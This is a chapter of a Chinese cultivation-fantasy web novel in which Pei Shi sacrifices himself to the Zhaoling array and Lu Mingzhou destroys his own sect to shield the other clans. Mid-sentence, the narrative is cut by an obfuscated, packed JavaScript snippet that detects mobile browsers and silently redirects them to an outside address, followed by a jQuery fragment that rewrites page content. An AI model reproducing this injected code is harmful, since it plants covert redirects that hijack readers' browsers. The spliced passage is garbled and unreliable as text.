照灵阵终于渐渐稳定下来,待陆云笺来,照灵阵与箜篌相应,或许就能彻底稳定。 裴世跪坐阵中,隔着璀璨金光望向云间世其余的山峦。 座座山峦之上密密麻麻挤满了人,隔着道道单薄结界,里头是惶然不安的众人,外头是狂乱不休的众“人”。 有三三两两的人拿起了武器,冲至结界外与众“人”厮杀,可如今即便他们想拿起剑,也不见得拿得动了。 将近一月暗无天日的光景……早便耗竭了所有人的心力。 裴世轻轻叹了口气,正欲闭上眼睛,却忽然听见远处传来一声似有若无的微弱啼鸣。 是照灵鸟的啼鸣……并不是来自照灵阵,而是…… 裴世蓦地抬头望向天边那一线飞速靠近的金光,那一线金光在眼前粲然光芒的映照下分明近乎微不足道,可他还是一眼就看见了那线光亮之上,那一抹熟悉的紫衣身影。 他轻声唤道:“陆云笺……” 只这一唤,那个方才还远在天边的人就忽然来到了他的面前,紧紧地拥住了他。 “悯诚。” 铿然一声琴响,霎时方圆数里众“人”,哀嚎连片,灰飞烟灭! 裴世感受到那双手拥着自己,拥得那样紧,于是肆无忌惮地任由自己失了力,靠在陆云笺怀里。 自她拥住自己的手中,传来阵阵疗愈灵力,一分一毫地为他重造血肉,因白骨化而了无知觉的半边身体忽地感受到了阵阵暖意。 遥远的,久违的,若隐若现又若即若离,像是将死之人弥留之际的幻觉。 悯诚箜篌与照灵阵相呼相应,紫色灵光与金色灵光交相辉映,霞光万丈,恍如天神降临。 还是那个神通广大、无所不能的陆小姐。裴世心想,一点也没变…… “我来晚了。”陆云笺颤声道,“傻子……” 照灵阵启动后,若是强行中止,法阵内的一切便会瞬时灰飞烟灭,因此陆云笺什么也做不了,只能眼睁睁看着强劲的灵光一寸一寸吞噬他的血肉,将照灵骨一点一点显露出来。 箜篌神器的疗愈灵力散于世间,分与千千万万人,他分得的那一分一毫,显得那样微不足道。 裴世的左半边身体都已成了森森白骨,因着笼罩着照灵骨的那一层璀璨金光,未见血色,反而无端绮丽。 他稍稍偏过身体,将左手背在身后,抬起另一手替陆云笺将眼泪拂去:“我猜对了。” 陆云笺道:“……你猜什么?” “我猜你会舍不得我。我猜你会为我难过。”裴世轻笑道,“是我赚了。” 说完不待陆云笺回应,又或许他根本就不敢等待陆云笺回应,抬手召来归云剑,起身一跃,腾至半空。 照灵阵因献祭之物的离去而强烈震颤起来,阵法中央光柱明灭不定,陆云笺轻轻闭上眼,哑声道:“悯诚。” 悯诚箜篌终于现出了完全形态,陆云笺跪坐在照灵阵中央,抬手拨动琴弦。 照灵阵与悯诚箜篌灵力相契相给,果真彻底稳定下来。 悠长琴音缓缓流出,此一曲若说轻柔,又暗含涌流;若说激烈,却又如四月春风。 轻柔处与净化引渡之阵相和,无数魂灵于其中安然坠落;激烈处与归云剑光相应,撕扯着时空裂缝的妖魔鬼怪大片大片地被斩碎,乌黑血液四溅,残肢碎脏自天边雨一般落下。 时空裂缝如同车轮碾过一般轰隆地封闭空隙,缓慢地将另一个太平安宁的时空与这个血流漂杵、尸山血海的尘世彻底隔绝。 丰沛的灵力随着琴音飘向四处,逢妖邪杀之,逢伤者愈之。 交杂一片的混乱声响中,陆云笺忽然听见有人喊道:“是陆小姐和归云仙君……我们、我们要不要去支援他们?” “反正防御结界就要破了,倒不如死拼到底!” “诸多仁者义士如此,我们怎可安然苟且偷生!” “防御结界一破,我们都活不成,倒不如多杀几个妖邪!” 陆云笺循声抬头望去,见云间世另一座山头的防御结界已然出现了数道裂痕,眼看即将破碎,密密麻麻覆了满山的黑影中,渐渐地出现了一个两个往山下跃的身影。 再转过头,不知何时又有修士冲上了云间世主山,竭力斩杀不断靠近照灵阵的“人”。 远处传来数声惊呼,数道防御结界因灵力不支而破碎瓦解,数只妖邪钻了空子,如虫蚁般顺着陡峭山壁径直往上爬,越来越多的人自山上跃下,刀光剑影闪成一片。 陆云笺一咬牙,正欲分出一部分灵力设下防御结界,却忽见中孚殿方向爆发出一阵强劲刺目的蓝色灵光。 云间世群山似有感应一般,已然破碎的结界一瞬之间忽又恢复如初,将张皇无助的众人牢牢护住,将趁虚而入的妖邪尽数斥出结界之外! 蓝色灵光织就的巨大丝网铺天盖地地罩下,点点灵光聚散间,化出一只只偶人,无穷无尽,以身躯抵挡着妖邪的攻击。 “尊主,这么大的偶人阵,又开了防御结界,你这样耗费灵力,怕是撑不住啊……灵力若是透支,可就再也回不来了……” 陈端指尖牵系着操纵偶人的灵线,如此强大的力量,他便是操纵都觉吃力,借他灵力开启偶人阵的陆明周又怎可能安然无恙? 陆明周背身立在中孚殿大门边,自云间世山顶俯瞰世间景象,不知在想什么。 听见陈端带着颤抖的声音,他道:“你只管操纵偶人,能撑多久便撑多久,不必忧心我。” 陆明周收回目光,垂眸摩挲着掌门令牌,银白令牌在昏暗的中孚殿中发出淡淡辉光,其上腾龙鲲鹏的纹样栩栩如生,似乎下一刻便会腾云而出。 云间世建派五百年,登上天下第一大门派的位置,也已历三百二十年。 五百年前建派的第一代先祖,立下“诛邪殄祟,佑世护民”的训诫时,可否能预见有朝一日,修真界会遭遇足以颠覆人世的灾劫? 又一处防御结界破碎了,仙门百家已不剩得几处还能护人的防御结界。 如今圣清结界已破,照灵阵已然稳定,与云间世结界相连的阵法,都不会再受到影响…… 陆明周转过头,道:“陈端,你带着偶人阵去后山,去照灵阵那边,不要靠近中孚殿。” 陈端抹去额上细汗,微微一怔:“尊主?” 陆明周没有再回答,陈端不敢不遵,道了一声“是”,牵系着偶人阵从后门奔出大殿。 身后脚步声渐渐远去,直到再也听不见,陆明周抬起手中佩剑,细细将其上沾染的污血擦净。 剑柄上“云振”二字在蓝色剑光的映照下清晰夺目。 继承大业,振兴宗门。 陆明周缓缓闭上眼,复又睁开。 他缓步走到中孚殿中央,启动机关,轰隆石出,赫然绘制着一道从不为人所知的阵法。 陆明周最后细细抚过掌门令牌的纹路,而后将其嵌入阵法中心,又抬剑割破手指,而后猛地将剑朝掌门令牌重重刺下—— 灵光轰隆爆裂如雷霆炸响,震得人耳边尖锐嗡鸣,一时山崩石裂,狂风呼啸—— 再睁眼时,眼前的琼楼玉宇已然消失不见,数百年细细雕琢而成的中孚大殿,不过一片碎石断瓦,再看不出半分宏伟壮丽。 掌门令碎,云振剑断,云间世结界破,云间世群山、云间世辖地内的仙门百家却都倏然立起了道道强大稳固的防御结界,从未有过的最强防御结界。 只要世间还有人愿意信云间世,只要仙门百家之中,还有门派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713275|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿意敬奉云间世…… 云间世的每一片碎瓦断柱,每一分灵秀之气,便都会竭尽全力护住所辖之处。 云间世禁阵,舍一派,护百家,佑万界。 陆明周被灵光爆裂而生的巨大力量斥出数丈、伏倒在地,四肢百骸都震痛起来,他后知后觉地恸哭出声。 恍惚间忆起幼时一次生辰礼,仙门百家掌门都来恭贺他的生辰,他在虚情假意的鼎沸人声里,默默在心里许愿家人安康喜乐。 许了愿,睁开眼,却见父亲正看着自己,神色似有不悦,他赶忙又闭眼再许了一条“继承大业,振兴宗门”,再睁眼时,才看见父亲的神色不再那样严厉。 后来他八岁时,父亲为他铸造了佩剑,要他为佩剑取名。 诸位长老草拟的名字令他眼花缭乱,于是他随手拿了第一眼看见的木牌,上头端端正正书着“闻竹”二字,看见的第一眼,就想起曾学过的那句“衙斋卧听萧萧竹,疑是民间疾苦声”。 他看了许久,也没有人上前取走这块木牌,他疑惑地四下扫了一圈,正对上父亲的目光。 手立时一抖,木牌“啪嗒”一声掉了回去,他慌忙拿起旁边的另一块令牌,见上头写的是“云振”二字,总算和“继承大业振兴宗门”沾了边。 他惶然无措地捏着木牌,抬头去看父亲,却只得了一道背影,好在有人上前来,取了木牌去刻字,他才松了一口气。 他兢兢业业了许多年,一举一动都依照着父亲所愿……可父亲的遗愿,他一件也没能完成。 云间世亡了,建派已历五百年的云间世在他手里亡了。 幼时许的家人安康喜乐不曾实现,后来承诺的继承大业、振兴宗门也食了言,唯有“诛邪殄祟,佑世护民”这一条,勉强做到了一点点。 片片流转的蓝色灵光在乌烟瘴气的人间绽开,这一回的防御结界比任何时候都更为坚固,可人们却不再一味地瑟缩躲藏在结界之后,越来越多的人冲出结界,冲入剑影刀光。 废墟之中忽然传来一阵急促的脚步声,有人唤:“尊主!” 陆明周感到一双双手将自己扶了起来,他的灵力几近耗竭,浑身也不剩多少力气,身后靠上片片碎石,抬眼时,眼前时而鲜红,时而发黑。 他听见他们唤他,于是轻轻扯了扯嘴角:“不用再唤我‘尊主’了。云间世亡了……” 旁人再说什么,他都只觉耳边嗡鸣,什么也听不见。 修真界最负盛名、人人艳羡的青年翘楚,一个一个……都被看尽了狼狈之态。 直到有人忽然带头跪地,四周响起一片刀剑擦过碎石的声响,众人齐齐跪落,为首的人道:“我等愿誓死追随陆尊主,助尊主重建云间世!” “我等誓死追随陆尊主!” “我等誓死追随云间世!” 陆明周这才看清来扶他的并不是云间世的弟子,而是兴云宗……是太玄庄,是清云阁,是这世上,还愿追随云间世的仙门。 陆明周抬手将模糊泪眼擦净了,撑着破碎石块站起身,眼前已无任何事物阻挡,他只消稍稍垂眸,便能将世间之景一览无遗。 他缓缓朝前方走去,因脚步无力而碰得碎石破瓦叮当作响,有人上前来扶他,他却将人轻轻推开。 满是疮痍的世间不再只有血海,有那么几道一闪而过的灵光,有星星点点的结界光芒,有普照万里的阵法辉光…… 这一回,他们有圣清结界,有引魂之阵,有照灵阵,有箜篌神器,有千千万万愿意为争回安宁人间而置生死于度外之人。 他忽地有了勇气……敢赌最后一次,就赌这一次,他们能赢。 良久,陆明周终于再度开口,眉眼间的茫然绝望已被掩藏得无影无踪:“若是你们还愿意信我……愿意信云间世,那就随我下山,杀出一条生路。”